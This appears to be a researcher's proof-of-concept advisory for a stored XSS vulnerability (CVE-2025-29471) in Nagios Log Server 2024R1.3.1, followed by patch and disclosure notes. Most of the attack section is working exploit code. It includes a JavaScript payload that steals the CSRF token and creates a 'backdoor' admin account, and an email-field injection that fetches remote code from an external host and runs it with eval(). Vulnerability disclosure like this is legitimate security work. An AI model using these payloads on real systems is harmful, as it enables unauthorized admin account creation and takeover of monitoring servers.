
Stored XSS in Nagios Log Server 2024R1.3.1
2024R1.3.1 and belowNagios Log Server 2024R1.3.1 (default configuration, Ubuntu 20.04)CWE-79CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:HFor authorized testing and research purposes only. Do not test or exploit this vulnerability on systems you do not own or have explicit permission to test.
A stored XSS vulnerability in Nagios Log Server 2024R1.3.1 allows a low-privileged user to inject malicious JavaScript into the 'email' field of their profile.
When an administrator views the audit logs, the payload executes, resulting in privilege escalation via unauthorized admin account creation.
1.Host xss.js payload on your external server with the following content. Github works fine.
Update <target-ip> to the IP/Hostname of Nagios Log Server target.
(function() {
console.log("🔥[XSS] Payload Executing...🔥");
var csrfTokenMatch = document.cookie.match(/csrf_ls=([^;]+)/);
if (!csrfTokenMatch) return;
var csrfToken = encodeURIComponent(csrfTokenMatch[1]);
console.log("[XSS] CSRF Token:", csrfToken);
var requestBody = "csrf_ls=" + csrfToken +
"&name=backdoor" +
"&[email protected]" +
"&username=backdoor" +
"&password=Password123!" +
"&password2=Password123!" +
"&auth_type=admin" +
"&apiaccess=1" +
"&language=en_US" +
"&account_type=local";
fetch("http://<target-ip>/nagioslogserver/admin/users/create", {
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: requestBody
})
.then(response => response.text())
.then(function(data) {
console.log("🔥[XSS] User Created Successfully!🔥");
console.log(data);
})
.catch(console.error);
})();
Log into Nagios Log Server as a standard (non-admin) user.
Navigate to the profile update endpoint:
http://<target-ip>/nagioslogserver/profile/update
Inject the following payload into the email field. Update fetch line with the URL where xss.js is stored.
<script>
fetch("https://<EXTERNAL-HOST>/xss.js")
.then(response => response.text())
.then(scriptText => eval(scriptText))
.catch(console.error);
</script>
Username: backdoor
Password: Password123!
backdoor with full admin access in Nagios Log Server.Nagios Log Server 2024R2Nagios Log Server 2024R2 resolves the stored XSS vulnerability and updated NagiosCVE-2025-29471 for this stored XSS vulnerability, but details remained unpublished due to the absence of a public security advisory from the vendor2024R1.3.2) backporting the stored XSS vulnerability fix to the 2024R1 branchCVE-2025-29471 was formally publishedThis work was conducted outside of my employment and reflects my personal efforts in cybersecurity research.